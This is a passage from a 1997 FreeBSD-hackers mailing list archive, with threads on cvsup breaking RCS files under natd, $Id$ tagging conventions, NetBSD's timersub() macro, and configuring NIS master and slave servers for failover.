just make sure you have the right programs running on the right machines.. once you get it up and running, it works like a charm and is very nice... hope you get it working.. ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Wed Jun 25 01:21:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA09824 for hackers-outgoing; Wed, 25 Jun 1997 01:21:37 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA09818 for ; Wed, 25 Jun 1997 01:21:31 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.5/8.8.5) id KAA05128 for hackers@freebsd.org; Wed, 25 Jun 1997 10:21:17 +0200 (SAT) From: John Hay Message-Id: <199706250821.KAA05128@zibbi.mikom.csir.co.za> Subject: cvs fails on 2.2 branch of natd To: hackers@freebsd.org Date: Wed, 25 Jun 1997 10:21:16 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, Is it just me (or my cvs), but when I did a cvs update on the RELENG_2_2 branch it failed in the usr.sbin/natd directory: ======= zibbi:/usr/src/usr.sbin/natd # cvs -q update co: /FreeBSD/ncvs/src/usr.sbin/natd/Makefile,v:10: 1.1.1.11.1.2.1 isn't a delta number co aborted cvs update: could not check out Makefile co: /FreeBSD/ncvs/src/usr.sbin/natd/icmp.c,v:10: 1.1.1.11.1.2.1 isn't a delta number co aborted cvs update: could not check out icmp.c co: /FreeBSD/ncvs/src/usr.sbin/natd/natd.c,v:10: 1.1.1.11.1.2.1 isn't a delta number co aborted cvs update: could not check out natd.c co: /FreeBSD/ncvs/src/usr.sbin/natd/natd.h,v:10: 1.1.1.11.1.2.1 isn't a delta number co aborted cvs update: could not check out natd.h ======= John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-hackers Wed Jun 25 01:22:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA09895 for hackers-outgoing; Wed, 25 Jun 1997 01:22:06 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA09888 for ; Wed, 25 Jun 1997 01:22:03 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id RAA00477; Wed, 25 Jun 1997 17:50:47 +0930 (CST) From: Michael Smith Message-Id: <199706250820.RAA00477@genesis.atrad.adelaide.edu.au> Subject: Re: libedit, etc. (CVS issues) In-Reply-To: <19970625092316.LE30128@uriah.heep.sax.de> from J Wunsch at "Jun 25, 97 09:23:16 am" To: joerg_wunsch@uriah.heep.sax.de Date: Wed, 25 Jun 1997 17:50:47 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch stands accused of saying: > As Michael Smith wrote: > > > Final question; should I add $Id$ strings to these files as they're > > changed? > > Yes. They will probably be converted into $FreeBSD$ some day, but > they should be there to track possible own modifications. The > $NetBSD$'s are useful to see which version it came from (so once the > NetBSD people opened their CVS, you could make cvs diffs ;-). Dang; I was too quick. Ok, rule of thumb is "once changed from the original import, should have $Id$", correct? I'll backtrack and catch the ones I've just committed. Does anyone know what the NetBSD function "timersub()" is supposed to do? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 25 02:24:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA12816 for hackers-outgoing; Wed, 25 Jun 1997 02:24:34 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA12810 for ; Wed, 25 Jun 1997 02:24:28 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.5/8.8.5) id LAA05752; Wed, 25 Jun 1997 11:24:18 +0200 (SAT) From: John Hay Message-Id: <199706250924.LAA05752@zibbi.mikom.csir.co.za> Subject: Re: cvs fails on 2.2 branch of natd In-Reply-To: From jhay at "Jun 25, 97 10:21:16 am" To: jhay@zibbi.mikom.csir.co.za (jhay) Date: Wed, 25 Jun 1997 11:24:18 +0200 (SAT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have found the problem. For some reason cvsup have thrown things away. On internat.freebsd.org (where I cvsup from) the piece of usr.sbin/natd/Makefile,v looks like this: ------- 1.1 date 97.06.22.04.19.08; author brian; state Exp; branches 1.1.1.1 1.1.2.1; next ; ------ But on my machine it looks like this: ----- 1.1 date 97.06.22.04.19.08; author brian; state Exp; branches 1.1.1.11.1.2.1; next ; ----- Is that because my cvsup is still 14.1.1? > > Is it just me (or my cvs), but when I did a cvs update on the RELENG_2_2 > branch it failed in the usr.sbin/natd directory: > > ======= > zibbi:/usr/src/usr.sbin/natd # cvs -q update > co: /FreeBSD/ncvs/src/usr.sbin/natd/Makefile,v:10: 1.1.1.11.1.2.1 isn't a delta number > co aborted > cvs update: could not check out Makefile ... > ======= John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-hackers Wed Jun 25 02:26:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA12969 for hackers-outgoing; Wed, 25 Jun 1997 02:26:03 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA12964 for ; Wed, 25 Jun 1997 02:25:59 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA28921; Wed, 25 Jun 1997 19:23:53 +1000 Date: Wed, 25 Jun 1997 19:23:53 +1000 From: Bruce Evans Message-Id: <199706250923.TAA28921@godzilla.zeta.org.au> To: hackers@freebsd.org, j@uriah.heep.sax.de Subject: Re: libedit, etc. (CVS issues) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> Final question; should I add $Id$ strings to these files as they're >> changed? > >Yes. They will probably be converted into $FreeBSD$ some day, but >they should be there to track possible own modifications. The >$NetBSD$'s are useful to see which version it came from (so once the >NetBSD people opened their CVS, you could make cvs diffs ;-). No. The $NetBSD$'s are enough for the new changes. There should be $Id$'s for some of the old changes. There shouldn't be $Id$ for the old changes that are just patches from Lite2 (Lite2 still hasn't been imported in most places outside of sys). Don't do new commits just to fix $Id$'s. We already have > 30000 useless log messages about changing $Id$'s. Bruce From owner-freebsd-hackers Wed Jun 25 02:53:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14302 for hackers-outgoing; Wed, 25 Jun 1997 02:53:20 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA14286 for ; Wed, 25 Jun 1997 02:53:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id TAA00939; Wed, 25 Jun 1997 19:23:11 +0930 (CST) From: Michael Smith Message-Id: <199706250953.TAA00939@genesis.atrad.adelaide.edu.au> Subject: Re: libedit, etc. (CVS issues) In-Reply-To: <199706250923.TAA28921@godzilla.zeta.org.au> from Bruce Evans at "Jun 25, 97 07:23:53 pm" To: bde@zeta.org.au (Bruce Evans) Date: Wed, 25 Jun 1997 19:23:10 +0930 (CST) Cc: hackers@FreeBSD.ORG, j@uriah.heep.sax.de X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Bruce Evans stands accused of saying: > > No. The $NetBSD$'s are enough for the new changes. There should be > $Id$'s for some of the old changes. There shouldn't be $Id$ for the old > changes that are just patches from Lite2 (Lite2 still hasn't been imported > in most places outside of sys). Don't do new commits just to fix $Id$'s. > We already have > 30000 useless log messages about changing $Id$'s. OK, so I'll try again to encapsulate it : "Add $Id$ when making other changes that are not : - patches from lite2 - verbatim grabs from NetBSD Do not add $Id$ as an edit by itself under any circumstances." Closer? > Bruce -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 25 03:12:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA14941 for hackers-outgoing; Wed, 25 Jun 1997 03:12:08 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA14936 for ; Wed, 25 Jun 1997 03:12:04 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id UAA30436; Wed, 25 Jun 1997 20:09:09 +1000 Date: Wed, 25 Jun 1997 20:09:09 +1000 From: Bruce Evans Message-Id: <199706251009.UAA30436@godzilla.zeta.org.au> To: joerg_wunsch@uriah.heep.sax.de, msmith@atrad.adelaide.edu.au Subject: Re: libedit, etc. (CVS issues) Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Dang; I was too quick. Ok, rule of thumb is "once changed from the >original import, should have $Id$", correct? No, it is 1. Once changed from the vendor branch, should have $Id$". More important rules: 2. Don't gratuitously change from the vendor branch. 3. Don't change just to add $Id$". >I'll backtrack and catch the ones I've just committed. Breaks rule 3. >Does anyone know what the NetBSD function "timersub()" is supposed to do? Yes :-). It is supposed to pollute with a kernel interface. It is usually a poor way to subtract timevals in userland. ftp/util.c gives two examples of how to misuse it, of the form: double delta; struct timeval start, finish, td; ... timersub(&finish, &start, &td); delta = td.tv_sec + tv.tv_usec / 1000000.0; This can be done more efficiently and naturally directly: ... delta = finish.tv_sec - start.tv_sec + (finish.tv_usec - start.tv_usec) / 1000000.0; ftp/util.c gives one example of how to use it, of the form: struct timeval start, finish, td, start1, finish1, td1; double delta; ... if (something) { timersub(&finish1, &start1, td1); /* BUG (should use timeradd() here): */ start.tv_sec += start1.tv_sec; start.tv_usec += start1.tv_usec; } /* * BUG: timersub() only works on valid timevals, but `start' * may be invalid here (its tv_usec may be > 1000000. However, * the floating point calculation fixes up the value. */ timevalsub(&finish, &start, &td); delta = td.tv_sec + tv.tv_usec / 1000000.0; ... /* Something else using td1. */ This example could be changed to use a floating point td1, but that would be slower on machines with slow floating point. Bruce From owner-freebsd-hackers Wed Jun 25 03:31:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA15609 for hackers-outgoing; Wed, 25 Jun 1997 03:31:50 -0700 (PDT) Received: from nemeton.com.au (gw.nemeton.com.au [203.8.3.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA15601 for ; Wed, 25 Jun 1997 03:31:44 -0700 (PDT) Received: (qmail 4858 invoked from network); 25 Jun 1997 10:31:08 -0000 Received: from localhost.nemeton.com.au (127.0.0.1) by localhost.nemeton.com.au with SMTP; 25 Jun 1997 10:31:08 -0000 To: Michael Smith cc: joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org Subject: Re: libedit, etc. (CVS issues) In-reply-to: <199706250820.RAA00477@genesis.atrad.adelaide.edu.au> Date: Wed, 25 Jun 1997 20:31:06 +1000 Message-ID: <4856.867234666@nemeton.com.au> From: Giles Lean Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997 17:50:47 +0930 (CST) Michael Smith wrote: > Does anyone know what the NetBSD function "timersub()" is supposed to do? You can find it in src/sys/sys/time.h. The following excerpt is from a NetBSD-current tree. #define timersub(tvp, uvp, vvp) \ do { \ (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \ (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \ if ((vvp)->tv_usec < 0) { \ (vvp)->tv_sec--; \ (vvp)->tv_usec += 1000000; \ } \ } while (0) Regards, Giles From owner-freebsd-hackers Wed Jun 25 03:34:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA15783 for hackers-outgoing; Wed, 25 Jun 1997 03:34:24 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA15778 for ; Wed, 25 Jun 1997 03:34:21 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id UAA01113; Wed, 25 Jun 1997 20:03:50 +0930 (CST) From: Michael Smith Message-Id: <199706251033.UAA01113@genesis.atrad.adelaide.edu.au> Subject: Re: libedit, etc. (CVS issues) In-Reply-To: <4856.867234666@nemeton.com.au> from Giles Lean at "Jun 25, 97 08:31:06 pm" To: giles@nemeton.com.au (Giles Lean) Date: Wed, 25 Jun 1997 20:03:50 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Giles Lean stands accused of saying: > > On Wed, 25 Jun 1997 17:50:47 +0930 (CST) Michael Smith wrote: > > > Does anyone know what the NetBSD function "timersub()" is supposed to do? > > You can find it in src/sys/sys/time.h. The following excerpt > is from a NetBSD-current tree. Gotcha. My catch was that I was working on a 2.2 system. Whilst I appreciate Bruce's feelings about ftp's use of it, I'd prefer to avoid gratuitous differences with the 'original'. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 25 04:15:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA17145 for hackers-outgoing; Wed, 25 Jun 1997 04:15:14 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA17140 for ; Wed, 25 Jun 1997 04:15:11 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id HAA28047; Wed, 25 Jun 1997 07:15:09 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id HAA14796; Wed, 25 Jun 1997 07:15:07 -0400 Date: Wed, 25 Jun 1997 07:14:42 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: John-Mark Gurney cc: FreeBSD-Hackers Subject: Re: NIS In-Reply-To: <19970625010619.04305@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, John-Mark Gurney wrote: > Chuck Robey scribbled this message on Jun 24: > > I have been reading about NIS, trying to come to grips with it all, but I > > haven't been able to com eup with an answer to one last stumbling block. > > Maybe someone here knows what I don't ... > > > > I'm trying to figure out a flexible and reliable setup for a small ISP > > that has maybe 5 machines. What I would ideally like is to have a main > > server, have the database on that server duplicated on a second machine > > just in case the first machine has to go down for maintenance (or some > > catastrophe), and the rest of the machines be slaves. I'm particularly > > interested in the passwd map. > > actually.. FreeBSD's NIS implementation is quite secure... as long as > you know your wires are secure there shouldn't be any problems... John-Mark, you've misunderstood me somewhat. I'm not concerned with security from a hackers viewpoint (yet), I'm worried about having the master server go down. I want a fallback to aonther server, with only a little loss, even from a booting perspective ... I mean, if a slave master can't find a main master on boot, it needs to have a fallback that is at least reasonably up to date. I know exactly how the map files get built _and_ get updated. I'm not concerned with the db files, I'm worried about the method that the slave server would use if it couldn't find the master, when it boots. I'm willing to lose the last few hours of passwd activity, so what happens in that case? ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Wed Jun 25 05:41:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA20587 for hackers-outgoing; Wed, 25 Jun 1997 05:41:12 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA20582 for ; Wed, 25 Jun 1997 05:41:09 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id FAA01864; Wed, 25 Jun 1997 05:40:33 -0700 (PDT) Message-ID: <19970625054033.30384@hydrogen.nike.efn.org> Date: Wed, 25 Jun 1997 05:40:33 -0700 From: John-Mark Gurney To: Chuck Robey Cc: FreeBSD-Hackers Subject: Re: NIS References: <19970625010619.04305@hydrogen.nike.efn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Chuck Robey on Wed, Jun 25, 1997 at 07:14:42AM -0400 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Chuck Robey scribbled this message on Jun 25: > On Wed, 25 Jun 1997, John-Mark Gurney wrote: > > > Chuck Robey scribbled this message on Jun 24: > > > I have been reading about NIS, trying to come to grips with it all, but I > > > haven't been able to com eup with an answer to one last stumbling block. > > > Maybe someone here knows what I don't ... > > > > > > I'm trying to figure out a flexible and reliable setup for a small ISP > > > that has maybe 5 machines. What I would ideally like is to have a main > > > server, have the database on that server duplicated on a second machine > > > just in case the first machine has to go down for maintenance (or some > > > catastrophe), and the rest of the machines be slaves. I'm particularly > > > interested in the passwd map. > > > > actually.. FreeBSD's NIS implementation is quite secure... as long as > > you know your wires are secure there shouldn't be any problems... > > John-Mark, you've misunderstood me somewhat. I'm not concerned with > security from a hackers viewpoint (yet), I'm worried about having the > master server go down. I want a fallback to aonther server, with only a > little loss, even from a booting perspective ... I mean, if a slave master > can't find a main master on boot, it needs to have a fallback that is at > least reasonably up to date. well.. if your running multiple servers, setup and listed in ypservers, they will automaticly get updated when the master server gets updated... just need to make sure that NOPUSH="True" is commented out on the master... that way the master will tell the slaves to update... > I know exactly how the map files get built _and_ get updated. I'm not > concerned with the db files, I'm worried about the method that the slave > server would use if it couldn't find the master, when it boots. I'm > willing to lose the last few hours of passwd activity, so what happens in > that case? well.. the slave server will just server out the data it has stored locally... it assumes that the master server notifies it when the maps needs to be updated... hope it answers the question.. ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Wed Jun 25 06:47:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA22964 for hackers-outgoing; Wed, 25 Jun 1997 06:47:17 -0700 (PDT) Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA22959 for ; Wed, 25 Jun 1997 06:47:10 -0700 (PDT) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id JAA04669; Wed, 25 Jun 1997 09:47:10 -0400 From: Bill Paul Message-Id: <199706251347.JAA04669@skynet.ctr.columbia.edu> Subject: Re: NIS To: chuckr@glue.umd.edu (Chuck Robey) Date: Wed, 25 Jun 1997 09:47:09 -0400 (EDT) Cc: hackers@freebsd.org In-Reply-To: from "Chuck Robey" at Jun 24, 97 11:42:19 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Of all the gin joints in all the towns in all the world, Chuck Robey had to walk into mine and say: > > I have been reading about NIS, trying to come to grips with it all, but I > haven't been able to com eup with an answer to one last stumbling block. > Maybe someone here knows what I don't ... > > I'm trying to figure out a flexible and reliable setup for a small ISP > that has maybe 5 machines. What I would ideally like is to have a main > server, have the database on that server duplicated on a second machine > just in case the first machine has to go down for maintenance (or some > catastrophe), and the rest of the machines be slaves. I'm particularly > interested in the passwd map. Ideally, it shouldn't be necessary to make all the machines into NIS servers, although you can do it that way. I have about 100 machines with 6 NIS servers, one of which is the master. (One of these is actually just to support one machine on a non-CTR subnet that's been relocated temporarily.) One of these is actually a FreeBSD system (the others are SunOS.) The ypbind program is supposed to take care of locating a server for you. It broadcasts to the local network looking for a server; any servers that hear the broadcast will reply, and ypbind will bind to the first server that answers. Normally, it's a good idea to arrange for NIS servers (masters or slaves) to bind to themselves. This may happen automatically anyway, since a ypserv running on the local host is likely to answer ypbind much faster than anyone else. To force the issue, you can start ypbind with the -ypsetme flag and use the ypset command to bind it to 'localhost.' As long as ypserv doesn't crash, the server should remain bound to itself indefinitely. If a machine is just a client and the server it's bound to crashes and burns, there will be a pause of about a minute before ypbind will broadcast again in search of another server. (Ypbind pings the server(s) it's bound to once every minute to make sure they're still alive. If not, it invalidates the binding and broadcasts again for a new one.) Note that ypbind can only bind to machines that can hear its broadcasts, which implies that there's at least one NIS server on each subnet where you have NIS clients. (You can force it to bind to any machine with ypset, but if it becomes unbound, ypbind won't be able to contact the server again without administrator intervention.) In FreeBSD-current, I added an option to let ypbind 'many-cast' instead of broadcast; this lets it bind across subnets, but you have to tell ypbind the IP addresses of all the available servers when you launch it; without broadcasting, there's no way it can learn of new servers on its own. > What I don't understand is how the passwd maps can get converted into the > passwd file and the mater.passwd file, so they could be duplilcated, both > on the main server and the secondary server. I think I understand how > yp_mkdb makes the nis maps, but I don't see how the source files for the > maps get updated. I know this isn't terribly important for files other > than passwd, but it's passwd that I'm interested in. I want to have the > master.passwd and passwd files on the server right up to date, and the > same files on the backup server fairly close, say, no more than several > hours out of date. I could just move the files occaisonally from the > server to a backup dir on the slave server, but I don't see how they ever > get built at all on the master. See /var/yp/Makefile and /usr/libexec/yppwupdate. When you use yppasswd, rpc.yppasswdd handles updates of both the text based template file and the NIS maps. Note that you can specify /etc/master.passwd as the template for the passwd maps instead of /var/yp/master.passwd; in this case, rpc.yppasswdd will also run pwd_mkdb to rebuild the local passwd database as well. It's usually safer to use a seperate template file though. The master.passwd maps are generated from /var/yp/master.passwd first, then /var/yp/passwd is created from /var/yp/master.passwd using an awk script. If you uncomment the 'UNSECURE=True' line in the Makefile, then the passwd maps will have the real crypted passwords in them; if not, only the master.passwd maps will have them, and only the superuser can access these maps. If you have only FreeBSD hosts, then you can leave the UNSECURE settine along (you don't want real passwds in the passwd maps), but for compatibility with other systems (e.g. SunOS, IRIX, HP-UX, AIX, and yes even Linux) you need to disable this feature. If you have large maps, you will probably want to run rpc.ypxfrd on the master server; it speeds up the transfer of very large maps significantly. (It is a shortcoming of the design of NIS v2 that slaves must transfer the entire map to pick up changes; there's no way to tell the slave exactly what changed, so it needs everything. In NIS+, the master server keeps a log of changes and the replicas can pull over only those updates that it needs and apply them to its own databases. The exception is when a brand new replica is added to an existing domain; here the replica must dump out the entire contents of the domain in order to synchronize itself with the master. Ideally, this should never happen more than once.) rpc.ypupdated is supposed to do similar nonsense, but it's only used to updated the publickey.byname map when using Secure RPC. NIS itself doesn't use Secure RPC (however I'm thinking of changing that.) -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness" ============================================================================= From owner-freebsd-hackers Wed Jun 25 08:30:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28426 for hackers-outgoing; Wed, 25 Jun 1997 08:30:43 -0700 (PDT) Received: from athena.milk.it (ssigala@[195.206.2.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA28416 for ; Wed, 25 Jun 1997 08:30:33 -0700 (PDT) Received: from localhost (ssigala@localhost) by athena.milk.it (8.8.4/8.8.4) with SMTP id RAA01425 for ; Wed, 25 Jun 1997 17:30:18 +0200 X-Authentication-Warning: athena.milk.it: ssigala owned process doing -bs Date: Wed, 25 Jun 1997 17:30:16 +0200 (MET DST) From: "S. Sigala" X-Sender: ssigala@athena.milk.it To: freebsd-hackers@freebsd.org Subject: Zile 1.0 alpha 2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have just uploaded the version 1.0a2 (~73k) of Zile to ftp://ftp.cdrom.com/pub/FreeBSD/incoming/zile-1.0a2.tar.gz For anyone that does't know, Zile is a new Emacs-clone very Emacs-like, unlike Jed or Jove. The windows, the line continuation and the command help window (as suggested by jkh) are not available yet (will be in version 1.0 final). A lot of bugs were fixed and new features were added in this second alpha revision. Comments are HIGHLY appreciated. Thanks. From owner-freebsd-hackers Wed Jun 25 09:27:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01285 for hackers-outgoing; Wed, 25 Jun 1997 09:27:08 -0700 (PDT) Received: from toth.ferginc.com (toth.ferginc.com [205.139.23.69]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA01274 for ; Wed, 25 Jun 1997 09:27:02 -0700 (PDT) Received: from localhost by toth.ferginc.com (You/Wish) with SMTP id MAA01187; Wed, 25 Jun 1997 12:23:23 -0400 (EDT) Posted-Date: Wed, 25 Jun 1997 12:23:23 -0400 (EDT) Date: Wed, 25 Jun 1997 12:22:45 -0400 (EDT) From: Branson Matheson X-Sender: branson@toth.hq.ferg.com Reply-To: Branson Matheson To: John-Mark Gurney cc: Chuck Robey , FreeBSD-Hackers Subject: Re: NIS In-Reply-To: <19970625054033.30384@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, John-Mark Gurney wrote: > Chuck Robey scribbled this message on Jun 25: > > On Wed, 25 Jun 1997, John-Mark Gurney wrote: > > concerned with the db files, I'm worried about the method that the slave > > server would use if it couldn't find the master, when it boots. I'm > > well.. the slave server will just server out the data it has stored > locally... it assumes that the master server notifies it when the > maps needs to be updated... Basically... have the slaves bind to _themselves_. they will get updated automatically from the master. that way they can boot regardless of the state of the master. - branson ------------------------------------------------------------------------------- Branson Matheson " If you are falling off of a mountain, System Administrator You may as well try to fly." Ferguson Enterprises - Delenn, Mimbari Ambassador From owner-freebsd-hackers Wed Jun 25 09:29:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01417 for hackers-outgoing; Wed, 25 Jun 1997 09:29:34 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA01411 for ; Wed, 25 Jun 1997 09:29:30 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id MAA25273; Wed, 25 Jun 1997 12:29:48 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id MAA24128; Wed, 25 Jun 1997 12:29:58 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Wed, 25 Jun 1997 12:29:58 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: Tim Vanderhoek To: MARK SAYER cc: "'freebsd-hackers@freebsd.org'" Subject: RE: BSD 